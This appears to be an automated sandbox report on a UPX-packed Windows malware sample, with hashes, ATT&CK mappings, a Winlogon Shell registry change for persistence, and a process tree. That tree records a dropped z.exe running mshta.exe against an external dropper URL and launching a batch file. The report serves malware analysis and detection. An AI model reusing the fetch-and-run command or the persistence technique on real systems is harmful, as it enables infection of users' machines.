6d3239a0892bcb94b2a62d172790e5d433f4d6b32b8ecf8c9e963ea4e4a6f271

General

Target

a97294359020ade8b49e7189457a9fd8.exe
Size

765KB
MD5

a97294359020ade8b49e7189457a9fd8
SHA1

2e526abe4e64563e723c557a01106ea40559ffa3
SHA256

6d3239a0892bcb94b2a62d172790e5d433f4d6b32b8ecf8c9e963ea4e4a6f271
SHA512

0675699c1d1975ebea92c9d2468ccb6f4a6d5c5495cb89dd4c9811dbcb728530f0f0fef3447a6b153c397b9f519df22bc346bd872a0c4efb336ce1e0d6562e75
SSDEEP

12288:fSJsWPOGw+qKxNaLIym/P3BANlm2sjynU4q18ympGVZH6Uv/3xqkri/lUy7PU83F:fSrxELIyS3BAN82s0UnjgwBqLNUiM83U

Score

10^/10

persistence upx

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://rerererererere.com/inst.php?id=forbidden

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

z.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\palladium.exe"	z.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

a97294359020ade8b49e7189457a9fd8.exez.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation	a97294359020ade8b49e7189457a9fd8.exe
Key value queried	\REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation	z.exe

Executes dropped EXE 1 IoCs

Processes:

z.exe

pid process

1796 z.exe

UPX packed file 17 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/4824-0-0x0000000000400000-0x000000000051B000-memory.dmp	upx
C:\Users\Admin\AppData\Roaming\z.exe	upx
behavioral2/memory/1796-17-0x0000000000400000-0x00000000007F6000-memory.dmp	upx
behavioral2/memory/4824-16-0x0000000000400000-0x000000000051B000-memory.dmp	upx
behavioral2/memory/1796-26-0x0000000000400000-0x00000000007F6000-memory.dmp	upx
behavioral2/memory/1796-27-0x0000000000400000-0x00000000007F6000-memory.dmp	upx
behavioral2/memory/1796-29-0x0000000000400000-0x00000000007F6000-memory.dmp	upx
behavioral2/memory/1796-30-0x0000000000400000-0x00000000007F6000-memory.dmp	upx
behavioral2/memory/1796-31-0x0000000000400000-0x00000000007F6000-memory.dmp	upx
behavioral2/memory/1796-32-0x0000000000400000-0x00000000007F6000-memory.dmp	upx
behavioral2/memory/1796-33-0x0000000000400000-0x00000000007F6000-memory.dmp	upx
behavioral2/memory/1796-34-0x0000000000400000-0x00000000007F6000-memory.dmp	upx
behavioral2/memory/1796-35-0x0000000000400000-0x00000000007F6000-memory.dmp	upx
behavioral2/memory/1796-36-0x0000000000400000-0x00000000007F6000-memory.dmp	upx
behavioral2/memory/1796-37-0x0000000000400000-0x00000000007F6000-memory.dmp	upx
behavioral2/memory/1796-38-0x0000000000400000-0x00000000007F6000-memory.dmp	upx
behavioral2/memory/1796-40-0x0000000000400000-0x00000000007F6000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

z.exe

pid	process
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe
1796	z.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

z.exe

pid process

1796 z.exe
1796 z.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

a97294359020ade8b49e7189457a9fd8.exez.exe

description	pid	process	target process
PID 4824 wrote to memory of 1796	4824	a97294359020ade8b49e7189457a9fd8.exe	z.exe
PID 4824 wrote to memory of 1796	4824	a97294359020ade8b49e7189457a9fd8.exe	z.exe
PID 4824 wrote to memory of 1796	4824	a97294359020ade8b49e7189457a9fd8.exe	z.exe
PID 1796 wrote to memory of 1348	1796	z.exe	mshta.exe
PID 1796 wrote to memory of 1348	1796	z.exe	mshta.exe
PID 1796 wrote to memory of 1348	1796	z.exe	mshta.exe
PID 1796 wrote to memory of 4544	1796	z.exe	cmd.exe
PID 1796 wrote to memory of 4544	1796	z.exe	cmd.exe
PID 1796 wrote to memory of 4544	1796	z.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\a97294359020ade8b49e7189457a9fd8.exe
"C:\Users\Admin\AppData\Local\Temp\a97294359020ade8b49e7189457a9fd8.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4824

C:\Users\Admin\AppData\Roaming\z.exe
"C:\Users\Admin\AppData\Roaming\z.exe" forbidden
2⤵
- Modifies WinLogon for persistence
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1796

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" http://rerererererere.com/inst.php?id=forbidden
3⤵
PID:1348

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\dgfdgsdf.bat" "
3⤵
PID:4544

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Winlogon Helper DLL

1

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Winlogon Helper DLL

1

T1547.004

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\dgfdgsdf.bat
Filesize
167B

MD5
e5a2cf708be039ebe72233673c1f2ac7

SHA1
cca4b5f8c08e07779f4eddd7e3c960d7f68078f8

SHA256
1f67a80290e77b7ec48c8b676bcc076ff5b271e2caf17352b1880d65a956e43c

SHA512
0d47a1ccf419c4cb8fc1a25b35470ba3b51e49a6045fe1efcd533ebbe9d69a92a1a7b60f2666e1419613c0bd45ffd128623adb11c313c1b3749727f5a4a9f645

Download Submit
C:\Users\Admin\AppData\Roaming\z.exe
Filesize
531KB

MD5
16324fc81aea75ee1b90fbe20eb91c00

SHA1
d6cf3bd8d5febb790e1ff8dd39b378229e73462f

SHA256
0f948ceb06d973c6276ffc742b18c638dc301576997dbb20b5802df6cb35a8d3

SHA512
d5974f326b4d61743ee3f64e7de79fa105e03ce640555aeae823d2270ec915b795b8308f9291ee718dbdf0213e0eec425b7b97159b0c9c5c0131dcb204d501a6

Download Submit
memory/1796-29-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/1796-30-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/1796-40-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/1796-18-0x00000000009D0000-0x00000000009D1000-memory.dmp

Filesize
4KB

Download
memory/1796-38-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/1796-26-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/1796-27-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/1796-28-0x00000000009D0000-0x00000000009D1000-memory.dmp

Filesize
4KB

Download
memory/1796-37-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/1796-17-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/1796-31-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/1796-32-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/1796-33-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/1796-34-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/1796-35-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/1796-36-0x0000000000400000-0x00000000007F6000-memory.dmp

Filesize
4.0MB

Download
memory/4824-0-0x0000000000400000-0x000000000051B000-memory.dmp

Filesize
1.1MB

Download
memory/4824-1-0x00000000022C0000-0x00000000022C1000-memory.dmp

Filesize
4KB

Download
memory/4824-16-0x0000000000400000-0x000000000051B000-memory.dmp

Filesize
1.1MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads